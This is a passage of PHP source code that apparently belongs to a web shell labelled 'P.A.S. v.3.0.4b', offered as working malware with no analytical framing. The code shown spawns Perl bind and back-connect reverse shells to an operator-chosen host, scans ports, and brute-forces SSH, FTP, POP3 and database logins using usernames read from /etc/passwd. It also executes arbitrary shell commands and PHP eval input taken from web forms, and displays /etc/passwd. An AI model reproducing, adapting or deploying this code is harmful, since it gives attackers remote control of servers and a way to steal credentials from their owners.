1322 $tfn = ctf($l0 . ' Hello from P.A.S. Bind Port ' . $l1 . $l2 . $_POST['pb'] . ', INADDR_ANY' . $l3 . 'print "\r\n> Set socket options..."; setsockopt(SOCKET, SOL_SOCKET, SO_REUSEADDR, 1) or die print "$l$e$!$l"; print " $o"; print "\r\n> Bind socket..."; bind(SOCKET,$sckt) or die print "$l$e$!$l"; print " $o"; print "\r\n> Listen socket..."; listen(SOCKET, 5) or die print "$l$e$!$l"; print " $o"; print "\r\n> Accept connection..."; accept(CONN,SOCKET) or die print "$l$e$!$l"; print "$l OK! I\'m accept connection.$l";if(!($pid=fork)){if(!defined $pid){exit(0);}open(STDIN, "<&CONN");open(STDOUT, ">&CONN");open(STDERR, ">&CONN");' . $l4 . 'close CONN;}');
1323 echo '<div class="xmp">';
1324 se('perl ' . $tfn . ' 2>&1 &');
1325 @unlink($tfn);
1326 echo '</div>';
1327 } elseif ($_POST['nt'] == 'bc') {
1328 @session_write_close();
1329 $tfn = ctf($l0 . 'Hello from P.A.S. BackConnect' . $l1 . 'print "\r\n> Convert host address...";$inet=inet_aton("' . $_POST['hbc'] . '") or die print "$l$e$!$l"; print " $o";' . $l2 . $_POST['pbc'] . ',$inet' . $l3 . 'print "\r\n> Connect to ' . $_POST['hbc'] . ':' . $_POST['pbc'] . '..."; connect(SOCKET,$sckt) or die print "$l$e$!$l"; print "$l OK! I\'m successful connected.$l"; open(STDIN, "<&SOCKET");open(STDOUT, ">&SOCKET");open(STDERR, ">&SOCKET");' . $l4);
1330 echo '<div class="xmp">';
1331 se('perl ' . $tfn . ' 2>&1 &');
1332 @unlink($tfn);
1333 echo '</div>';
1334 } elseif ($_POST['nt'] == 'ps') {
1335 @session_write_close();
1336 $hi = gethostbyname($_POST['hs']);
1337 echo '<table border="1" class="list"><tr><th>Port</th><th>Service</th><th>Answer</th></tr>';
1338 for ($pf = $pf; $pf <= $pl; $pf += $sc + 1) {
1339 $ss = $sr = $sw = array();
1340 $scn = ($pf + $sc > $pl) ? $pl - $pf : $sc;
1341 for ($p = $pf; $p <= ($pf + $scn); $p++) {
1342 $sh = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
1343 @socket_set_option($sh, SOL_SOCKET, SO_SNDTIMEO, array(
1344 'sec' => 2,
1345 'usec' => 0
1346 ));
1347 @socket_set_option($sh, SOL_SOCKET, SO_RCVTIMEO, array(
1348 'sec' => 2,
1349 'usec' => 0
1350 ));
1351 @socket_set_nonblock($sh);
1352 @socket_connect($sh, $hi, $p);
1353 @socket_set_block($sh);
1354 usleep(10000);
1355 $sr[] = $sw[] = $se[] = $sh;
1356 $ss[$sh] = $p;
1357 }
1358 if (@socket_select($sr, $sw, $se, 2)) {
1359 foreach ($sw as $sn => $sh)
1360 if (!empty($ss[$sh])) {
1361 @socket_write($sh, "HELLO\r\n\r\n");
1362 $sr[] = $sh;
1363 }
1364 foreach ($sr as $sn => $sh)
1365 if (!empty($ss[$sh])) {
1366 $a = @socket_read($sh, 255);
1367 @socket_shutdown($sh, 2);
1368 @socket_close($sh);
1369 echo '<tr><td align="right">', $ss[$sh], '</td><td>', (($s = @getservbyport($ss[$sh], 'tcp')) == '' ? 'unknown' : $s), '</td><td>', nl2br(htmlspecialchars($a)), '</td></tr>';
1370 @flush();
1371 unset($sr[$sn], $ss[$sh], $sw[$sh]);
1372 }
1373 foreach ($se as $sn => $sh)
1374 if (!empty($ss[$sh])) {
1375 @socket_shutdown($sh, 2);
1376 @socket_close($sh);
1377 unset($se[$sn], $ss[$sh]);
1378 }
1379 }
1380 }
1381 echo '</table>';
1382 } else {
1383?><div class="xmp"></div><?php
1384 }
1385?></center></div><br style="clear:both;"/><?php
1386} elseif (isset($_POST['br'])) {
1387 @session_write_close();
1388 $h = array(
1389 'ha' => 'localhost',
1390 'hp' => 22,
1391 'ps' => array(
1392 'ssh',
1393 'SSH'
1394 )
1395 );
1396 $f = array(
1397 'ha' => 'localhost',
1398 'hp' => 21,
1399 'ps' => array(
1400 'ftp',
1401 'FTP'
1402 )
1403 );
1404 $m = array(
1405 'ha' => 'localhost',
1406 'hp' => 110,
1407 'ps' => array(
1408 'mail',
1409 'MAIL'
1410 )
1411 );
1412 $y = array(
1413 'ha' => 'localhost',
1414 'hp' => 3306,
1415 'ps' => array(
1416 'mysql',
1417 'MYSQL',
1418 'MySQL',
1419 'mySQL',
1420 'MYsql',
1421 'sql',
1422 'SQL',
1423 'db',
1424 'DB',
1425 'database',
1426 'DATABASE'
1427 )
1428 );
1429 $s = array(
1430 'ha' => 'localhost',
1431 'hp' => 1433,
1432 'ps' => array(
1433 'mssql',
1434 'MSSQL',
1435 'MsSQL',
1436 'msSQL',
1437 'MSsql',
1438 'sql',
1439 'SQL',
1440 'db',
1441 'DB',
1442 'database',
1443 'DATABASE'
1444 )
1445 );
1446 $p = array(
1447 'ha' => 'localhost',
1448 'hp' => 5432,
1449 'ps' => array(
1450 'pg',
1451 'PG',
1452 'pgs',
1453 'PGS',
1454 'pgsql',
1455 'PgSQL',
1456 'PGSQL',
1457 'pgSQL',
1458 'PGsql',
1459 'postgre',
1460 'POSTGRE',
1461 'postgres',
1462 'POSTGRES',
1463 'postgresql',
1464 'POSTGRESQL',
1465 'PostgreSQL',
1466 'postgreSQL',
1467 'POSTGREsql',
1468 'sql',
1469 'SQL',
1470 'db',
1471 'DB',
1472 'database',
1473 'DATABASE'
1474 )
1475 );
1476 if (isset($_POST['brp']))
1477 foreach ($_POST['brp'] as $v) {
1478 ${'c' . $v} = TRUE;
1479 if (!empty($_POST['h'][$v]))
1480 ${$v}['ha'] = $_POST['h'][$v];
1481 if (!empty($_POST['p'][$v]))
1482 ${$v}['hp'] = $_POST['p'][$v];
1483 }
1484?> <div style="float:left; width:335px;"><form action="" method="post"><input type="hidden" name="br"/> <fieldset><legend>Protocols :</legend><table class="form"> <?php
1485 if (function_exists('ssh2_connect')) {
1486?><tr><td><label><input type="checkbox" name="brp[]" value="h"<?php
1487 if (isset($ch))
1488 echo ' checked="checked"';
1489?>/> SSH :</label></td><td><input type="text" name="h[s]" value="<?php
1490 echo htmlspecialchars($h['ha']);
1491?>"/> : <input type="text" name="p[h]" value="<?php
1492 echo intval($h['hp']);
1493?>" style="width:42px"/></td></tr><?php
1494 }
1495 if (function_exists('ftp_connect')) {
1496?><tr><td><label><input type="checkbox" name="brp[]" value="f"<?php
1497 if (isset($cf))
1498 echo ' checked="checked"';
1499?>/> FTP :</label></td><td><input type="text" name="h[f]" value="<?php
1500 echo htmlspecialchars($f['ha']);
1501?>"/> : <input type="text" name="p[f]" value="<?php
1502 echo intval($f['hp']);
1503?>" style="width:42px"/></td></tr><?php
1504 }
1505 if (function_exists('fsockopen')) {
1506?><tr><td><label><input type="checkbox" name="brp[]" value="m"<?php
1507 if (isset($cm))
1508 echo ' checked="checked"';
1509?>/> POP3 :</label></td><td><input type="text" name="h[m]" value="<?php
1510 echo htmlspecialchars($m['ha']);
1511?>"/> : <input type="text" name="p[m]" value="<?php
1512 echo intval($m['hp']);
1513?>" style="width:42px"/></td></tr><?php
1514 }
1515 if (function_exists('mysql_connect')) {
1516?><tr><td><label><input type="checkbox" name="brp[]" value="y"<?php
1517 if (isset($cy))
1518 echo ' checked="checked"';
1519?>/> MySQL :</label></td><td><input type="text" name="h[y]" value="<?php
1520 echo htmlspecialchars($y['ha']);
1521?>"/> : <input type="text" name="p[y]" value="<?php
1522 echo intval($y['hp']);
1523?>" style="width:42px"/></td></tr><?php
1524 }
1525 if (function_exists('mssql_connect')) {
1526?><tr><td><label><input type="checkbox" name="brp[]" value="s"<?php
1527 if (isset($cs))
1528 echo ' checked="checked"';
1529?>/> MSSQL :</label></td><td><input type="text" name="h[s]" value="<?php
1530 echo htmlspecialchars($s['ha']);
1531?>"/> : <input type="text" name="p[s]" value="<?php
1532 echo intval($s['hp']);
1533?>" style="width:42px"/></td></tr><?php
1534 }
1535 if (function_exists('pg_connect')) {
1536?><tr><td><label><input type="checkbox" name="brp[]" value="p"<?php
1537 if (isset($cp))
1538 echo ' checked="checked"';
1539?>/> PostgreSQL :</label></td><td><input type="text" name="h[p]" value="<?php
1540 echo htmlspecialchars($p['ha']);
1541?>"/> : <input type="text" name="p[p]" value="<?php
1542 echo intval($p['hp']);
1543?>" style="width:42px"/></td></tr><?php
1544 }
1545?> </table></fieldset> <fieldset style="margin-top:10px"><legend>Combinations: </legend><table class="form" width="100%"><tr><td><label><input type="checkbox" name="el"<?php
1546 if (isset($_POST['el']))
1547 echo ' checked="checked"';
1548?>/> root : root</label></td><td><label><input type="checkbox" name="ep"<?php
1549 if (isset($_POST['ep']))
1550 echo ' checked="checked"';
1551?>/> root : ftproot</label></td></tr><tr><td><label><input type="checkbox" name="er"<?php
1552 if (isset($_POST['er']))
1553 echo ' checked="checked"';
1554?>/> root : toor</label></td><td><label><input type="checkbox" name="es"<?php
1555 if (isset($_POST['es']))
1556 echo ' checked="checked"';
1557?>/> root : rootftp</label></td></tr></table></fieldset> <fieldset style="text-align:right"><input type="submit" name="bg" value=">"/></fieldset></form></div> <?php
1558 echo '<div style="float:left; margin:10px; width:640px;">';
1559 if (isset($_POST['bg']) && !empty($_POST['brp'])) {
1560?><table border="1" class="list" width="100%"><tr><th>Protocol</th><th>Login</th><th>Password</th><th>Result</th></tr><?php
1561 $a = @file('/etc/passwd');
1562 foreach ($a as $l) {
1563 $l = explode(':', $l);
1564 $l = $l[0];
1565 $c = array(
1566 ''
1567 );
1568 foreach ($_POST['brp'] as $v) {
1569 if (isset($_POST['el']))
1570 $c[] = $l;
1571 if (isset($_POST['er']))
1572 $c[] = strrev($l);
1573 if (isset($_POST['ep']))
1574 foreach (${$v}['ps'] as $k)
1575 $c[] = $k . $l;
1576 if (isset($_POST['es']))
1577 foreach (${$v}['ps'] as $k)
1578 $c[] = $l . $k;
1579 $c = array_merge($c, ${$v}['ps']);
1580 switch ($v) {
1581 case 'h':
1582 if ($r = @ssh2_connect($h['ha'], $h['hp'])) {
1583 $b = FALSE;
1584 foreach ($c as $k) {
1585 if (@ssh2_auth_password($r, $l, $k))
1586 $b = TRUE;
1587 echo '<tr class="', $b ? 'ok' : 'fail', '"><td>SSH</td><td>', htmlspecialchars($l), '</td><td>', htmlspecialchars($k), '</td><td>', $b ? 'OK' : 'FAILED', '</td></tr>';
1588 flush();
1589 if ($b)
1590 break;
1591 else
1592 @usleep(500);
1593 }
1594 }
1595 break;
1596 case 'f':
1597 $b = FALSE;
1598 foreach ($c as $k)
1599 if ($r = @ftp_connect($f['ha'], $f['hp'])) {
1600 if (@ftp_login($r, $l, $k))
1601 $b = TRUE;
1602 echo '<tr class="', $b ? 'ok' : 'fail', '"><td>FTP</td><td>', htmlspecialchars($l), '</td><td>', htmlspecialchars($k), '</td><td>', $b ? 'OK' : 'FAILED', '</td></tr>';
1603 @ftp_close($r);
1604 flush();
1605 if ($b)
1606 break;
1607 else
1608 @usleep(500);
1609 }
1610 break;
1611 case 'm':
1612 foreach ($c as $k)
1613 if ($r = @fsockopen($m['ha'], $m['hp'], $en, $es, 2)) {
1614 @fgets($r);
1615 @fwrite($r, "USER " . $l . "\n");
1616 $t = @fgets($r);
1617 if ($t[0] == '-') {
1618 @fwrite($r, "PASS " . $k . "\n");
1619 $t = @fgets($r);
1620 }
1621 @fwrite($r, "QUIT\n");
1622 @fclose($r);
1623 echo '<tr class="', ($t[0] == '-') ? 'fail' : 'ok', '"><td>POP3</td><td>', htmlspecialchars($l), '</td><td>', htmlspecialchars($k), '</td><td>', ($t[0] == '-') ? 'FAILED' : 'OK', '</td></tr>';
1624 flush();
1625 if ($t[0] == '-')
1626 @usleep(500);
1627 else
1628 break;
1629 }
1630 break;
1631 case 'y':
1632 foreach ($c as $k) {
1633 if ($r = @mysql_connect($y['ha'] . ':' . $y['hp'], $l, $k, TRUE))
1634 @mysql_close($r);
1635 echo '<tr class="', $r ? 'ok' : 'fail', '"><td>MySQL</td><td>', htmlspecialchars($l), '</td><td>', htmlspecialchars($k), '</td><td>', $r ? 'OK' : 'FAILED', '</td></tr>';
1636 flush();
1637 if ($r)
1638 break;
1639 else
1640 @usleep(500);
1641 }
1642 break;
1643 case 's':
1644 foreach ($c as $k) {
1645 if ($r = @mssql_connect($s['ha'] . ',' . $s['hp'], $l, $k, TRUE))
1646 @mssql_close($r);
1647 echo '<tr class="', $r ? 'ok' : 'fail', '"><td>MSSQL</td><td>', htmlspecialchars($l), '</td><td>', htmlspecialchars($k), '</td><td>', $r ? 'OK' : 'FAILED', '</td></tr>';
1648 flush();
1649 if ($r)
1650 break;
1651 else
1652 @usleep(500);
1653 }
1654 break;
1655 case 'p':
1656 foreach ($c as $k) {
1657 if ($r = @pg_connect('host=' . $p['ha'] . ' port=' . $p['hp'] . ' user=' . $l . ' password=' . $k))
1658 @pg_close($r);
1659 echo '<tr class="', $r ? 'ok' : 'fail', '"><td>PostgreSQL</td><td>', htmlspecialchars($l), '</td><td>', htmlspecialchars($k), '</td><td>', $r ? 'OK' : 'FAILED', '</td></tr>';
1660 flush();
1661 if ($r)
1662 break;
1663 else
1664 @usleep(500);
1665 }
1666 break;
1667 }
1668 }
1669 }
1670 echo '</table>';
1671 }
1672?></div><br style="clear:both"/><?php
1673} elseif (isset($_POST['sc'])) {
1674 function pe($c)
1675 {
1676 @ob_start();
1677 $e = false;
1678 @eval('$e=true;');
1679 if ($e)
1680 @eval($c);
1681 elseif (function_exists('create_function')) {
1682 $f = @create_function('', $c);
1683 $f();
1684 } else {
1685 $f = ctf('<?php ' . $c . ' ?>');
1686 @include($f);
1687 @unlink($f);
1688 }
1689 echo htmlspecialchars(@ob_get_clean());
1690 }
1691 echo '<div class="xmp">';
1692 if (!empty($_POST['ex']))
1693 se($_POST['ex'] . ' 2>&1');
1694 elseif (!empty($_POST['ev']))
1695 pe($_POST['ev']);
1696 echo '</div>';
1697} elseif (isset($_POST['si'])) {
1698?><fieldset><form action="" method="post"><button type="submit" name="si" value="">phpinfo</button><?php
1699 if (!IW && @is_readable('/etc/passwd'))
1700 echo ' <button type="submit" name="si" value="p">passwd</button>';
1701?></form></fieldset><?php
1702 if ($_POST['si'] == 'p')
1703 echo '<div class="xmp">', @file_get_contents('/etc/passwd'), '</div>';
1704 else {
1705 ob_start();
1706 phpinfo();
1707 $i = str_replace('<img ', '<noimg ', ob_get_clean());
1708 $is = substr($i, strpos($i, '<style'));
1709 $is = substr($is, 0, strpos($is, '</style>')) . ', p, table, th, td {font-size:12px}</style>';
1710 $is = str_replace(array(
1711 'body',
1712 "\n",
1713 ','
1714 ), array(
1715 'p',
1716 ' .php ',
1717 ', .php '
1718 ), $is);
1719 $i = substr($i, strpos($i, '<body>') + 6);
1720 $i = substr($i, 0, strrpos($i, '</body>'));
1721 echo '<div class="php">', $is, $i, '</div>';
1722 }
1723}
1724?><fieldset style='font:normal 12px "Courier New"'><form action="" method="post" onsubmit="sf('ex')" style="margin-bottom:5px;">Exec : <input type="text" name="ex" value="<?php
1725echo isset($_POST['ex']) ? htmlspecialchars($_POST['ex']) : (IW ? 'ver' : 'uname -a');
1726?>" style="width:895px;"/> <button type="submit" name="sc">></button></form><form action="" method="post" style="margin-top:5px">Eval : <input type="text" name="ev" value="<?php
1727echo isset($_POST['ev']) ? htmlspecialchars($_POST['ev']) : 'phpinfo();';
1728?>" style="width:895px;"/> <button type="submit" name="sc">></button></form></fieldset><fieldset class="footer"><table width="100%" border="0"><tr><td>P.A.S. v.3.0.4b</td><td align="center"><form action="" method="post"><select name="cs"><?php
1729$a = array(
1730 'UTF-8',
1731 'Windows-1251',
1732 'CP-866',
1733 'KOI8-R',
1734 'KOI8-U',
1735 'ISO-8859-5'
1736);
1737foreach ($a as $v) {
1738 echo '<option value="', $v, '"';
1739 if ($_SESSION['CS'] == $v)
1740 echo ' selected="selected"';
1741 echo '>', $v, ' </option>';
1742}
1743?></s